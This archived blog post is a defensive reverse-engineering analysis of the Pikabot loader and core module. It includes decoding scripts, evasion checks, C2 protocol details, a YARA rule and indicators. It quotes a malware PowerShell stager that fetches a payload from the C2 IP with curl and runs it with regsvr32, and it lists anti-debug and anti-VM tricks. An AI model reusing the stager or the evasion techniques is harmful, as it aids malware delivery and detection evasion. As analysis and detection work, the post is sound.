{
	"id": "5a88636c-5b04-4595-a27e-8d038df35f64",
	"created_at": "2026-04-06T00:11:45.52081Z",
	"updated_at": "2026-04-10T03:33:17.44168Z",
	"deleted_at": null,
	"sha1_hash": "858b8658416e0fc42a4d423c9153dc9ccb7c638d",
	"title": "Pikabot deep analysis",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1546464,
	"plain_text": "Pikabot deep analysis\r\nBy Mohamed Adel\r\nPublished: 2023-07-31 · Archived: 2026-04-05 17:20:34 UTC\r\nPikabot is a new malware first seen in early 2023. It has two components: Loader and core module. It is still in its initial\r\nstages, expected to see increasing activity in the future. Some researchers believe that it is linked to TA570 because of the\r\nsimilarity of delivering method between it and Qbot trojan. And the absence of Qbot activity in the period of pikabot\r\nactivity. The Loader usage is to perform a lot of Anti-debug, Anti-VM and Anti-emulation checks to make it harder for\r\nautomated analysis and inject the core module. The strings are obfuscated using the stack and simple Bitwise operation. The\r\nconstant integers are obfuscated using structures and loops to get the right offset. The core module has a lot of functionality\r\nthat gives the attacker full control of the victim machine.\r\nThe infection starts with a malicious email containing a link that downloads a JS file that used to download Pikabot DLL.\r\nThe sample discussed here can be found on malware-traffic-analysis . The threat actor tried to make the script look legit by\r\nembedding some comments related to MIT License of some opensource projects, zlib , pako and react-redux. Also, the\r\nnames he used are not randomized and begin with MIT .\r\nThe script contains 1,759 lines of code. So, instead of wasting time trying to figure out what is going on, I debugged the\r\nscript using the browser. Not too much appears but the string PowerShell is used. so, we can make use of PowerShell\r\nlogging feature to catch the script for us. I Enabled PowerShell Logging and Transcript logging that get the full PowerShell\r\nsession with the output. Let the sample runs and check the logs:\r\nChecking the transcript log file created to see the full session.\r\nhttps://d01a.github.io/pikabot/\r\nPage 1 of 14\n\nThe first script is the RAW data the retrieved from the JS file and the second one is the decoded one. Let’s look at the script.\r\npastebin\r\nThe first 6 Variables (numbered lines) weren’t used anywhere in the code. They contain some invalid URLs and IPs. The list\r\ncan be found in the following table.\r\nNote: Every variable contains not only one base64 encoded string but multiple, separated by a character. e.g.,\r\n$rifflers uses q character as a separator and $gentlewomanlike that contains valid IP list uses XO as a\r\nseparator. Just delete the separator and decode the string will work.\r\nURL Status\r\nhttp[://]Supermysteries[.]creditcard Not found\r\nhttps[://]205.194.71[.]236 Not found\r\nhttps[://]punishes[.]vacations Not found\r\nhttps[://]profiters[.]construction Not found\r\nhttps[://]83.99.144[.]199 Not found\r\nhttp[://]whittret[.]hamburg Not found\r\nhttps[://]AdelochordaIntroverse[.]pizza Not found\r\nhttps[://]98.81.136[.]149 Not found\r\nhttps[://]UnredeemedlyBeadeyes[.]land Not found\r\nhttp[://]81.179.42[.]197 Not found\r\nhttp[://]Leavings[.]florist Not found\r\nhttp[://]55.112.208[.]170 Not found\r\nhttp[://]wilded[.]parts Not found\r\nhttps[://]AlbergatriceRepaginated[.]xxx Not found\r\nhttp[://]heptameron[.]se Not found\r\nhttp[://]51.238.155[.]130 Not found\r\nhttps[://]Bigeminy[.]tokyo Not found\r\nhttps[://]144.206.78[.]90 Not found\r\nhttps[://]zeatin[.]marketing Not found\r\nhttp[://]countervene[.]agency Not found\r\nGoing back to the script, it iterates through the variable $gentlewomanlike using XO as a separator between each Base64-\r\nencoded string. There are more unused URLs in the script. But the used strings that initiate a request t them are:\r\nhttps://d01a.github.io/pikabot/\r\nPage 2 of 14\n\nhttp[://]126.228.74[.]105/bm/IMgP\r\nhttp[://]74.147.74[.]110/oc1Cs/lhdGK\r\nhttp[://]227.191.163[.]233/eHDP/WLmO\r\nhttp[://]151.236.14[.]179/DekOPg/Kmn40\r\nhttp[://]192.121.17[.]92/JTi/IK2I8szLO\r\nhttp[://]192.121.17[.]68/9Cm9EW/BVteE\r\nAfter Downloading the DLL, rundll32 to run It.\r\n1 start rundll32 $env:ProgramData\\\\forerankSomnolescent.EuthanasyUnblushingly,vips;MITLicense\r\nTo get the final payload, I used unpacme . for the unpacked sample, see unpacme result\r\nNOTE: The unpacked DLL is broken so, if you want to debug the sample you can use this sample\r\nAt the end of DllEntryPoint There is a call to the main function of the malware that contains all its functionality.\r\nAll functions will have the same structure. First there is some code to obfuscate the numbers used later, then\r\ndecoding the required strings and in the end, it will resolve the required functions and calls it.\r\nOne of the first things the malware does is to resolve the required APIs. Pikabot resolves two functions that will be used to\r\nget the addresses of the required APIs; GetProcAddress and LoadLibraryA by searching through Kernel32.dll exports\r\nusing a Hash of each API; 0x57889AF9 and 0x0B1C126D , respectively.\r\nThe malware uses stack strings followed by a single bitwise operation. The operation and the key are different throughout\r\nthe strings so, the best option is to emulate this part to get the decoded strings. The decoding operation takes a constant\r\nhttps://d01a.github.io/pikabot/\r\nPage 3 of 14\n\npattern as follows.\r\n1. Construct the stack strings.\r\n2. loop all over the string to execute the decoding operation.\r\n3. move the string to its location.\r\n4. check ecx counter register against hardcoded string length.\r\nI will use Qiling in the emulation. First let’s try with a single string.\r\nNOTE: The script did not run with me if the DLL is not located in a sub path of rootfs. For more information\r\nabout the installation process look at the documentation or this blog.\r\n 1\r\n 2\r\n 3\r\n 4\r\n 5\r\n 6\r\n 7\r\n 8\r\n 9\r\n10\r\n11\r\nfrom qiling import *\r\nfrom qiling.const import QL_VERBOSE\r\nargv = [r\"qiling\\\\examples\\\\rootfs\\\\x86_windows\\\\Windows\\\\bin\\\\pika.dll\"]\r\nrootfs = r\"qiling\\\\examples\\\\rootfs\\\\x86_windows\"\r\nql = Qiling(argv=argv, rootfs=rootfs, verbose=QL_VERBOSE.OFF)\r\nql.emu_start(begin=0x10005542, end=0x10005588)\r\nprint(ql.mem.read(ql.arch.regs.ebp - 0x40 ,ql.arch.regs.ecx+1))\r\nql.emu_stop()\r\nThe first stack string is AddVectoredExceptionHandler . Now we want to make go decode all the strings of the binary.\r\nThe method I will use here based on OALABS Blog\r\nHow to locate where stack strings are decoded? Every Block of stack strings ends with cmp REG, \u003cSTRING_LENGTH\u003e\r\nfollowed by a jl . So, if we locate this pattern, we can backtrack to find a sequence of mov instruction. How to do this?\r\n1. Locate every basic block end with jl and cmp REG,\u003cconstant\u003e\r\n2. Record the address of jl + 0x4 as the emulation stop address.\r\n3. backtrack to find the string offset. The first mov instruction starting from the end ( jl )\r\n4. Record the stack offset (first argument)\r\n5. Find the first mov instruction as the emulation address.\r\nhttps://d01a.github.io/pikabot/\r\nPage 4 of 14\n\nI tried to emulate it with qiling but it has some problems:\r\n1. Not using ebp register in all the references.\r\n2. Too slow as qiling will load in every string decoding. (If loaded once, most of the strings will not be decoded as\r\nthe address will be pointing to unmapped region of memory)\r\nQiling script will be helpful if you want to get a specific string.\r\nI wrote this script to manually decode the strings. can be found on my github\r\n 1\r\n 2\r\n 3\r\n 4\r\n 5\r\n 6\r\n 7\r\n 8\r\n 9\r\n 10\r\n 11\r\n 12\r\n 13\r\n 14\r\n 15\r\n 16\r\n 17\r\n 18\r\n 19\r\n 20\r\n 21\r\n 22\r\n 23\r\n 24\r\n 25\r\n 26\r\n 27\r\n 28\r\n 29\r\n 30\r\n 31\r\n 32\r\n 33\r\n 34\r\n 35\r\n 36\r\n 37\r\n 38\r\n 39\r\n 40\r\n 41\r\n 42\r\n 43\r\n 44\r\n 45\r\n 46\r\n 47\r\n 48\r\n 49\r\n 50\r\n 51\r\n 52\r\n 53\r\n 54\r\n 55\r\n 56\r\n 57\r\n 58\r\n 59\r\n 60\r\nimport ctypes\r\nimport idc\r\nimport idaapi\r\nimport idautils\r\ndef get_operand_offset(ea):\r\n  op_offset = idc.get_operand_value(ea, 0)\r\n  return ctypes.c_int(op_offset).value\r\ndef get_second_operand(ea):\r\n  op_offset = idc.get_operand_value(ea, 1)\r\n  return ctypes.c_uint(op_offset).value\r\ndef get_second_operand_short(ea):\r\n  op_offset = idc.get_operand_value(ea, 1)\r\n  return ctypes.c_ushort(op_offset).value\r\ndef get_bitwise_op(ea, block_start_ea):\r\n  while (\r\n    idc.print_insn_mnem(ea) != \"xor\"\r\n    and idc.print_insn_mnem(ea) != \"add\"\r\n    and idc.print_insn_mnem(ea) != \"and\"\r\n    and idc.print_insn_mnem(ea) != \"sub\"\r\n  ) and ea \u003e block_start_ea:\r\n    ea = idc.prev_head(ea)\r\n  return ea\r\ndef bitwise_and_bytes(a, b):\r\n  result_int = int.from_bytes(a, byteorder=\"little\") \u0026 int.from_bytes(b, byteorder=\"little\")\r\n  result_int = result_int \u0026 0x00FF\r\n  return result_int.to_bytes(1, byteorder=\"little\")\r\ndef bitwise_sub_bytes(a, b):\r\n  result_int = int.from_bytes(a, byteorder=\"little\") - int.from_bytes(b, byteorder=\"little\")\r\n  result_int = result_int \u0026 0x00FF\r\n  # print(result_int)\r\n  return result_int.to_bytes(1, byteorder=\"little\")\r\ndef bitwise_add_bytes(a, b):\r\n  result_int = int.from_bytes(a, byteorder=\"little\") + int.from_bytes(b, byteorder=\"little\")\r\n  result_int = result_int \u0026 0x00FF\r\n  return result_int.to_bytes(1, byteorder=\"little\")\r\ndef bitwise_xor_bytes(a, b):\r\n  result_int = int.from_bytes(a, byteorder=\"little\") ^ int.from_bytes(b, byteorder=\"little\")\r\n  result_int = result_int \u0026 0x00FF\r\n  return result_int.to_bytes(1, byteorder=\"little\")\r\ndef set_comment(address, text):\r\n  idc.set_cmt(address, text, 0)\r\ndef is_valid_cmp(ea):\r\n  if idc.print_insn_mnem(ea) == \"cmp\":\r\n    if idc.get_operand_type(ea, 0) == 1 and idc.get_operand_type(ea, 1) == 5:\r\n      return True\r\n  return False\r\ndef parse_fn(fn):\r\n  out = []\r\n  func = ida_funcs.get_func(fn) # get function pointer\r\n  func_fc = list(idaapi.FlowChart(func, flags=idaapi.FC_PREDS)) # get function flowchart object (list of blocks)\r\n  for block_index in range(len(func_fc)):\r\n    block = func_fc[block_index]\r\n    last_inst = idc.prev_head(block.end_ea)\r\n    if idc.print_insn_mnem(last_inst) == \"jl\" and is_valid_cmp(idc.prev_head(last_inst)):\r\n      stack_end_ea = block.end_ea\r\nhttps://d01a.github.io/pikabot/\r\nPage 5 of 14\n\n61\r\n 62\r\n 63\r\n 64\r\n 65\r\n 66\r\n 67\r\n 68\r\n 69\r\n 70\r\n 71\r\n 72\r\n 73\r\n 74\r\n 75\r\n 76\r\n 77\r\n 78\r\n 79\r\n 80\r\n 81\r\n 82\r\n 83\r\n 84\r\n 85\r\n 86\r\n 87\r\n 88\r\n 89\r\n 90\r\n 91\r\n 92\r\n 93\r\n 94\r\n 95\r\n 96\r\n 97\r\n 98\r\n 99\r\n100\r\n101\r\n102\r\n103\r\n104\r\n105\r\n106\r\n107\r\n108\r\n109\r\n110\r\n111\r\n112\r\n113\r\n114\r\n115\r\n116\r\n117\r\n118\r\n119\r\n120\r\n121\r\n122\r\n123\r\n124\r\n125\r\n126\r\n127\r\n128\r\n129\r\n130\r\n131\r\n      prev_block = func_fc[block_index - 1]\r\n      stack_start_ea = prev_block.start_ea\r\n      first_BB_end = prev_block.end_ea\r\n      # get stack offset\r\n      inst_ptr = last_inst\r\n      while inst_ptr \u003e= block.start_ea:\r\n        inst_ptr = idc.prev_head(inst_ptr)\r\n        if idc.print_insn_mnem(inst_ptr) == \"mov\" and get_second_operand(idc.prev_head(inst_ptr)) \u003c= 255:\r\n          out.append(\r\n            {\r\n              \"start\": stack_start_ea,\r\n              \"end\": stack_end_ea,\r\n              \"first_BB_end\": first_BB_end,\r\n              \"bitwise_op\": get_bitwise_op(inst_ptr, block.start_ea),\r\n            }\r\n          )\r\n          break\r\n  return out\r\n# get the addresses of stack strings\r\ndef get_all_strings():\r\n  stack_strings = []\r\n  for f in idautils.Functions():\r\n    out = parse_fn(f)\r\n    stack_strings += out\r\n  return stack_strings\r\ndef decode_strings(stack_strings):\r\n  strings = {}\r\n  for ss in stack_strings:\r\n    try:\r\n      out = emulate(ss.get(\"start\"), ss.get(\"end\"), ss.get(\"first_BB_end\"), ss.get(\"bitwise_op\"))\r\n      print(f\"{hex(ss.get('start'))}: {out.decode('utf-8',errors='ignore')}\")\r\n      strings[ss.get(\"start\")] = out.decode(\"utf-8\", errors=\"ignore\")\r\n    except Exception as e:\r\n      print(e)\r\n      print(f\"Failed decoding: {hex(ss.get('start'))}\")\r\n  return strings\r\ndef ss_decrypt(operation, key, byte_str):\r\n  output = b\"\"\r\n  for i in byte_str:\r\n    i = i.to_bytes(1, byteorder=\"little\")\r\n    if operation == \"xor\":\r\n      output += bitwise_xor_bytes(i, key)\r\n    elif operation == \"add\":\r\n      output += bitwise_add_bytes(i, key)\r\n    elif operation == \"and\":\r\n      output += bitwise_and_bytes(i, key)\r\n    elif operation == \"sub\":\r\n      output += bitwise_sub_bytes(i, key)\r\n  return output\r\ndef get_byte_string(start, end, str_len):\r\n  byte_str = b\"\"\r\n  inst_ptr = end\r\n  while inst_ptr \u003e= start:\r\n    inst_ptr = idc.prev_head(inst_ptr)\r\n    if idc.print_insn_mnem(inst_ptr) == \"mov\":\r\n      if idc.get_operand_type(inst_ptr, 1) == 5:\r\n        dtype_val = idautils.DecodeInstruction(inst_ptr)\r\n        if ida_ua.get_dtype_size(dtype_val.Op1.dtype) == 2:\r\n          temp = get_second_operand_short(inst_ptr)\r\n        else:\r\n          temp = get_second_operand(inst_ptr)\r\n        temp = temp.to_bytes(4, byteorder=\"little\")\r\n        # print(f\"str: {temp}\")\r\n        # insert at the beginning of the string.\r\n        temp_list = list(temp)\r\n        byte_str_list = list(byte_str)\r\n        temp_list.extend(byte_str_list)\r\nhttps://d01a.github.io/pikabot/\r\nPage 6 of 14\n\n132\r\n133\r\n134\r\n135\r\n136\r\n137\r\n138\r\n139\r\n140\r\n141\r\n142\r\n143\r\n144\r\n145\r\n146\r\n147\r\n148\r\n149\r\n150\r\n151\r\n152\r\n153\r\n154\r\n155\r\n        byte_str = bytes(temp_list)\r\n  byte_str = byte_str.replace(b\"\\\\x00\", b\"\")\r\n  print(f\"byte_str: {byte_str}\")\r\n  return byte_str\r\ndef emulate(start, end, first_BB_end, bitwise_op_addr):\r\n  last_inst = idc.prev_head(end)\r\n  operation = idc.print_insn_mnem(bitwise_op_addr)\r\n  key = get_second_operand(bitwise_op_addr)\r\n  print(f\"address:{hex(bitwise_op_addr)} key: {hex(key)}\")\r\n  key = key.to_bytes(1, byteorder=\"little\")\r\n  str_len = get_second_operand(idc.prev_head(last_inst))\r\n  byte_str = get_byte_string(start, first_BB_end, str_len)\r\n  string = ss_decrypt(operation, key, byte_str)\r\n  return string\r\ndef main():\r\n  stack_strings = get_all_strings()\r\n  strings = decode_strings(stack_strings)\r\n  for k,v in strings.items():\r\n   set_comment(k,v)\r\nif __name__ == \"__main__\":\r\n  main()\r\nResult: Works well for most of the strings. But it fails at two cases where the strings not in the pattern explained previously\r\nor it uses SIMD instructions like psubb . We can decode them with the first script.\r\nthe malware uses LoadLibraryA and GetProcAddress to get the function Address. They choses the appropriate DLL by\r\npassing a flag in the first Argument.\r\nflag DLL\r\n1 Kernel32.dll\r\n2 User32.dll\r\n3 ntdll.dll\r\nThe malware uses a series of anti-debugging checks before continuing, the checks used:\r\n1. Test Exception EXCEPTION_BREAKPOINT (0x80000003) using the resolved AddVectoredExceptionHandler\r\nfollowed by a function to trigger the EXCEPTION_BREAKPOINT exception using INT 0x2D . Then it removes the\r\nhandler using RemoveVectoredExceptionHandler . In a subsequent call, it uses int 3 instead of int 0x2D .\r\nhttps://d01a.github.io/pikabot/\r\nPage 7 of 14\n\n2. check BeingDebugged flag.\r\n3. Win32 API CheckRemoteDebuggerPresent and IsDebuggerPresent\r\n4. delay the execution using beep function to escape Sandbox environments.\r\n5. Anti-VM trick is that it imports different Libraries that don’t exist in most of the VMs and Sandboxes. Libraries are:\r\nNlsData0000.DLL , NetProjW.DLL , Ghofr.LL and fg122.DLL .\r\n6. Checks NtGlobalFlag as it is equal zero by default but set to 0x70 if a debugger is attached.\r\n7. Calls NtQueryInformationProcess with ProcessDebugPort (0x7) Flag.\r\n8. Function sub_10002315 has a couple of Anti debugging \u0026 Anti Emulation checks. The first it Uses GetWriteWatch\r\nand VirtualAlloc APIs To test for a Debugger attached or Sandbox environment by making a call to\r\nVirtualAlloc with MEM_WRITE_WATCH Flag specified, then call GetWriteWatch to retrieve the addresses of the\r\nallocated pages that has been written to since the allocation or the write-track state has been reset. PoC. The second\r\ncheck is a series of function calls that are responsible for checking if the malware runs in sandbox or emulation\r\nenvironment. its return values will determine if the system is running normal or something is happening (Sandbox or\r\nemulation). It starts by checking the atom name using GlobalGetAtomNameW passing invalid nAtom = 0 parameter\r\nand checking the return value (Should be 0).\r\nThe next is to call GetEnvirnmentVariableA with lpName = %random_file_name_that_doesnt_exist?[]\u003c\u003e@\\\\;*!-\r\n{}#:/~% expecting it to return 0 as it is likely to have an environment variable name like that. Then, it calls\r\nGetBinaryTypeA with lpApplicationName = %random_file_name_that_doesnt_exist?[]\u003c\u003e@\\\\;*!-{}#:/~%\r\nexpecting it to return 0 as well. Then it calls HeapQueryInformation with invalid HEAP_INFORMATION_CLASS value\r\n(69). Same thing with ReadProcessMemory API passing invalid address 0x69696969 . Then, it is called\r\nGetThreadContext passing reused allocated memory and not a pointer to Context structure.\r\n9. Uses SetLastError and GetLastError with OutputDebugStringA(“anti-debugging test.”) to check if the debugger\r\nattached, the debug message will be printed successfully and. If the debugger is not attached, the error code will be\r\nchanged indicating that no debugger is attached.\r\n10. Check the number of processors using GetSystemInfo . Less than 2 return 0 indicating VM environment.\r\n11. Uses __rdtsc twice to detect single stepping in the debuggers. the same thing with QueryerformanceCounter and\r\nGetTickCount64 .\r\n12. Check the memory size with GlobalMemoryStatusEx to check if it is less than 2 GB.\r\n13. Check the Trap flag (T) as indicator if single stepping.\r\nAfter doing Anti-Analysis checks, the Loader extracts the core module from the resource section. The core module is\r\nscattered through multiple PNG files in RCData -In this sample- Resource. It checks for 4 Bytes string in the resource, It’s\r\nthe beginning of the encrypted blob of the core component. In the sample we are discussing are ttyf and oEom\r\nAfter getting the offset of the beginning of the encrypted data. It decrypts a 20-byte string to use it as an XOR key to\r\nperform the first stage of the decryption. To get the key, the function needs to be emulated from the beginning as it makes\r\nsome calculations to decode the twenty bytes -scattered through multiple variables- then, gather them into one variable.\r\nhttps://d01a.github.io/pikabot/\r\nPage 8 of 14\n\n1\r\n 2\r\n 3\r\n 4\r\n 5\r\n 6\r\n 7\r\n 8\r\n 9\r\n10\r\n11\r\nfrom qiling import *\r\nfrom qiling.const import QL_VERBOSE\r\nargv = [r\"qiling\\\\examples\\\\rootfs\\\\x86_windows\\\\Windows\\\\bin\\\\pika.dll\"]\r\nrootfs = r\"qiling\\\\examples\\\\rootfs\\\\x86_windows\"\r\nql = Qiling(argv=argv, rootfs=rootfs, verbose=QL_VERBOSE.OFF)\r\nql.emu_start(begin=0x10011A5E, end=0x100121DF)\r\nprint(ql.mem.read(ql.arch.regs.ebp - 0x4c ,0x14))\r\nql.emu_stop()\r\nThe output\r\nThe core module is stored in two PNG images in the resource section. After The XOR operation is done, The XORed data is\r\nthen decrypted using AES (CBC) Algorithm using a 32-byte key and the first 16-byte of the key used as an initialization\r\nvector. In this sample the Key is decrypted at the address 0x100114B0 , after emulating this section, we got the key\r\nq10u9EYBtqXC1XUhmGmI7XUitdOpydzB . After Decrypting the Core module, it is injected in\r\nC:\\\\Windows\\\\SysWOW64\\\\SndVol.exe process.\r\nNote: the target process varies across the samples. I looked at another one and it was\r\nC:\\Windows\\System32\\WWAHost.exe\r\nTo get the core module, you can put a breakpoint on WriteProcessMemory and dump the memory buffer containing the\r\ninjected code. In my case I had to change the name of the target process as the original target process does not exist on my\r\nmachine.\r\nThe whole binary is not written in one time so be patient OR write down the address of the injected code in the\r\ntarget process and put a breakpoint on ResumeThread and dump the address, it will be mapped to you will need to\r\nhttps://d01a.github.io/pikabot/\r\nPage 9 of 14\n\nunmap it first. OR you can just dump the heap buffer that contains the decrypted data and dump the memory\r\nsection, but it will need to be cleaned.\r\nI uploaded the unpacked sample to [malware bazaar] (MalwareBazaar | SHA256\r\n11cbb0233aff83d54e0d9189d3a08d02a6bbb0ffa5c3b161df462780e0ee2d2d (abuse.ch))\r\nThe core module uses the same string encryption method so applying the previous script works well. The DLL contains a\r\nsmall number of functions and exports. DllRegisterServer contains a call to sub_100025FF function that has all the\r\nfunctionality of the Core module. The same API dynamic resolving function (sub_100036BA) is used but more DLLs are\r\nadded to use network and other functionalities required. The Additional DLLs are: Wininet.dll , Advapi32.dll and\r\nNetApi32.dll\r\nThe first thing the malware does is to check the language code of the victim machine.\r\nIf the Region is one of the following lists, the malware will exit without any further activity.\r\nGeorgia\r\nKazakhstan\r\nTajikistan\r\nRussia\r\nUkraine\r\nBelarus\r\nThen, it performs some basic anti debugging checks ( sub_10001994 ).\r\nBeingDebugged flag.\r\nNtGlobalFlag ANDed with 0x70 to check if a debugger is attached.\r\nrdtsc instruction. check the delay between two calls.\r\nTrap flag (T) of the EFLAGS register (T flag is the eighth bit)\r\nAnd it uses two Anti VM checks ( sub_10001AA6 ):\r\nIt executes cpuid instruction with EAX = 0x40000000 to return Hypervisor brand and compare the returned value\r\nin the ECX == 0x4D566572 and EDX == 0x65726177 which are VMware CPUID value (for more explanation and\r\nhow to defeat it, check this blog).\r\nhttps://d01a.github.io/pikabot/\r\nPage 10 of 14\n\nCheck the existence of Virtual Box related registry key HARDWARE\\\\\\\\ACPI\\\\\\\\DSDT\\\\\\\\VBOX__\r\nThe malware then checks the command execution functionality using a command that vary across the samples.\r\n1 cmd.exe /C \"ping localhost \u0026\u0026 copy /b /y %s\\\\%s %s\\\\%s\"\r\npassing this wide string to wsprintfW function with only one string %SystemRoot% -This could lead to unexpected\r\nbehavior; it could raise access violation exception or just continue and only the first placeholder replaced. - The output is\r\nthen executed using CreateProcessW and the return value is checked to determine the function’s return value, if it is 0,\r\nreturn 0 if not, it will call CloseHandle() twice:\r\nThe first with a valid handle to close the process created.\r\nthe second with invalid handle = 0, will return 0 -or should be 0 in normal systems, this could be anti-sandbox/emulation not sure as the function’s return value is not used-.\r\nIt uses a hardcoded mutex value {99C10657-633C-4165-9D0A-082238CB9FE0} to make sure that the victim is not infected\r\ntwice by calling CreateMutexW followed by a call to GetLastError to check the last error code.\r\nThe next step is to collect some information about the victim system to send them to the C2 server ( sub_10008263 ). The\r\nfirst thing you will see at the beginning of this function is a big stack string. This string is the schema that will be filled with\r\nthe victim info, decoding this string will give us the following.\r\nThe stream = bb_d2@T@dd48940b389148069ffc1db3f2f38c0e and version = 0.1.7 are predefined in the binary. The\r\ninformation collection process is done as follows ( sub_1000241E ):\r\nGet the os_version from OSMajorVersion , OSMinorVersion and OSBuildNumber from the PEB structure and\r\nGetProductInfo API.\r\nGet the victim’s username by calling GetUserNameW API.\r\nGet the pc_name by calling GetComputerName API.\r\nGet the cpu_name by executing cpuid instruction with initial value EAX = 0x80000000 .\r\nGet the gpu_name by calling EnumDisplayDevicesW API.\r\nGet the ram_amount by calling GlobalMemoryStatusEx API.\r\nGet the pc_uptime by calling GetTickCount API.\r\nGet the screen_resolution by calling GetWindowRect and GetDesktopWindow APIs.\r\nGet the arch by calling GetSystemInfo API.\r\nGet the domain_name by calling GetComputerNameExW API.\r\nGet domain_controller_name by calling DsGetDcNameW API or return unknown if not available. Each data item\r\nfills its location by calling wsprintfW function so, it will become like the following but with the victim collected\r\ndata.\r\n 1\r\n 2\r\n 3\r\n 4\r\n\"{\"uuid\": \"uuid\",\r\n\"stream\": \"bb_d2@T@dd48940b389148069ffc1db3f2f38c0e\",\r\n \"os_version\": \"OS version and build number\",\r\n \"product_number\": ,\r\nhttps://d01a.github.io/pikabot/\r\nPage 11 of 14\n\n5\r\n 6\r\n 7\r\n 8\r\n 9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n \"username\": \" victim username\",\r\n \"pc_name\": \"computer name\",\r\n\"cpu_name\": \"cpu name\",\r\n \"arch\": \"system architecture\",\r\n\"pc_uptime\": ,\r\n\"gpu_name\": \"gpu name\",\r\n \"ram_amount\": \"ram amount\",\r\n \"screen_resolution\": \"screen resolution\",\r\n \"version\": \"0.1.7\",\r\n\"av_software\": \"unknown\",\r\n \"domain_name\": \"\",\r\n \"domain_controller_name\": \"unknown\",\r\n \"domain_controller_address\": \"unknown\"}\"\r\nThe data collected is encoded using standard Base64 then encrypted using AES using the first 32-byte as the key and the\r\nfirst 16-byte of the key as the IV. then the data decoded with Base64 and sent to C2 server IP = 37.1.215.220 using POST\r\nrequest to the subdirectory messages/INJtv97YfpOzznVMY . The response is decoded in the same way too. The initial beacon\r\ncontains user_id=Him3xrn9e\u0026team_id=JqLtxw1h hardcoded string added to IP parameters. The request header is included in\r\nthe binary as follows:\r\n1\r\n2\r\n3\r\n4\r\n5\r\nContent-Type: application/x-www-form-urlencoded\\\\r\\\\n\r\nAccept: */*\\\\r\\\\n\r\nAccept-Language: en-US,en;q=0.5\\\\r\\\\n\r\nAccept-Encoding: gzip, deflate\\\\r\\\\n\r\nUser-Agent: %s\\\\r\\\\n\r\nThe User-Agent is also in the binary, and it is:\r\n1 Mozilla/4.0 (Compatible; MSIE 8.0; Windows NT 5.2; Trident/6.0)\r\nThe response of the initial sent packet (knock) contains some commands to be executed on the victim machine:\r\nResponse command\r\nwhoami execute whoami /all command\r\nipconfig execute ipconfig /all command\r\nscreenshoot\r\ntake a snapshot of all the running processes of the victim machine using CreateToolhel32Snashot,\r\nProcess32FirstW and Process32NextW\r\nThe data requested decoded in the following form to be sent to the attacker but to different subdirectory messages/ADXDAG6\r\n1 { \"uuid\": \"%s\", \"additional_type\": \"%s\", \"data\": \" \" }\r\nHow The Command are executed The malware add %SystemRoot%\\\\SysWoW64\\\\cmd.exe to the user environment\r\nvariables and creates a pipe for covert communication and receiving the output. To get the output is uses the named pipe in\r\nPeekNamedPipe in an infinite loop and the break condition is when WaitForSingleObject sense an object state changing.\r\nC2 commands\r\nThe Malware contains some other commands to do but not all of them are implemented yet.\r\nIf the command is task the malware do a specified task received from the C2 server, and it has some sub-commands:\r\nhttps://d01a.github.io/pikabot/\r\nPage 12 of 14\n\nThe output of the commands is sent to another subdirectory messages/TRCsUVyMigZyuUQ with the same encoding schema\r\nfollowed before. The commands are the following:\r\nknock timeout Seems to be not fully implemented but from the current state, it sends Knock Timeout Changed! to the\r\nserver in the following JSON. It’s used to delay any code execution on the victim machine.\r\n1 {\"uuid\": \"%s\", \"task_id\": %s, \"execution_code\": %d, \"data\": \"\r\nadditional Nothing new here, it has the same whoami , ipconfig and screenshoot commands explained before.\r\ndll (exe) Download another DLL or exe file and run it using Process injection technique. The bot responds with the\r\nfollowing with the state of downloading process (in case of failure Download Failed! ) and the state of the injection process\r\n( Injection Success! or Injection Failed! ) but to another subdirectory messages/DPVHLqEWR4uBk\r\n1 {\"uuid\": \"%s\", \"file_hash\": \"%s\", \"task_id\": %s}\r\nshellcode Download a shellcode and run by injecting it in a target process. Same as the DLL case\r\ncmd Execute cmd commands on the target machine. It runs the command with the same method explained previously.\r\nbalancer and init\r\nnot implemented yet.\r\nsample There are some other variants of the malware loader contains PowerShell script encrypted and stored on the .rdata\r\nsection and it used to start the downloaded DLL using regsvr32 the following example script from OALABS Blog\r\n1\r\n2\r\n3\r\n4\r\n5\r\n6\r\n7\r\n$nonresistantOutlivesDictatorial = \"$env:APPDATA\\\\Microsoft\\\\nonresistantOutlivesDictatorial\\\\AphroniaHaimavati.dll\";\r\nmd $env:APPDATA\\\\Microsoft\\\\nonresistantOutlivesDictatorial;\r\nStart-Process (Get-Command curl.exe).Source -NoNewWindow -ArgumentList '--url \u003chttps://37.1.215.220/messages/DBcB6q9SM6\u003e -X POST --insecur\r\nStart-Sleep -Seconds 40;\r\n$ungiantDwarfest = Get-Content $env:APPDATA\\\\Microsoft\\\\nonresistantOutlivesDictatorial\\\\AphroniaHaimavati.dll | %{[Convert]::FromBase64St\r\nSet-Content $env:APPDATA\\\\Microsoft\\\\nonresistantOutlivesDictatorial\\\\AphroniaHaimavati.dll -Value $ungiantDwarfest -Encoding Byte;\r\nregsvr32 /s $env:APPDATA\\\\Microsoft\\\\nonresistantOutlivesDictatorial\\\\AphroniaHaimavati.dll;\r\nhttps://d01a.github.io/pikabot/\r\nPage 13 of 14\n\n1\r\n 2\r\n 3\r\n 4\r\n 5\r\n 6\r\n 7\r\n 8\r\n 9\r\n10\r\n11\r\n12\r\n13\r\n14\r\n15\r\n16\r\n17\r\n18\r\n19\r\n20\r\n21\r\n22\r\n23\r\n24\r\n25\r\n26\r\nrule pikabot{\r\n meta:\r\n malware = \"Pikabot\"\r\n hash = \"11cbb0233aff83d54e0d9189d3a08d02a6bbb0ffa5c3b161df462780e0ee2d2d\"\r\n reference = \"https://d01a.github.io/\"\r\n author = \"d01a\"\r\n description = \"detect pikabot loader and core module\"\r\n strings:\r\n $s1 = {\r\n 8A 44 0D C0\r\n ?? ??\r\n 88 84 0D ?? ?? FF FF\r\n 4?\r\n 83 ?? ??\r\n 7C ??\r\n [0-16]\r\n (C7 45 | 88 95)\r\n }\r\n \r\n condition:\r\n uint16(0) == 0x5A4D\r\n and (uint32(uint32(0x3C)) == 0x00004550)\r\n and all of them\r\n}\r\nIoC description\r\ndff2122bb516f71675f766cc1dd87c07ce3c985f98607c25e53dcca87239c5f6 packed loader\r\n2411b23bab7703e94897573f3758e1849fdc6f407ea1d1e5da20a4e07ecf3c09 unpacked loader\r\n59f42ecde152f78731e54ea27e761bba748c9309a6ad1c2fd17f0e8b90f8aed1 unpacked loader\r\n37.1.215[.]220 C2 Server IP\r\n{99C10657-633C-4165-9D0A-082238CB9FE0} mutex 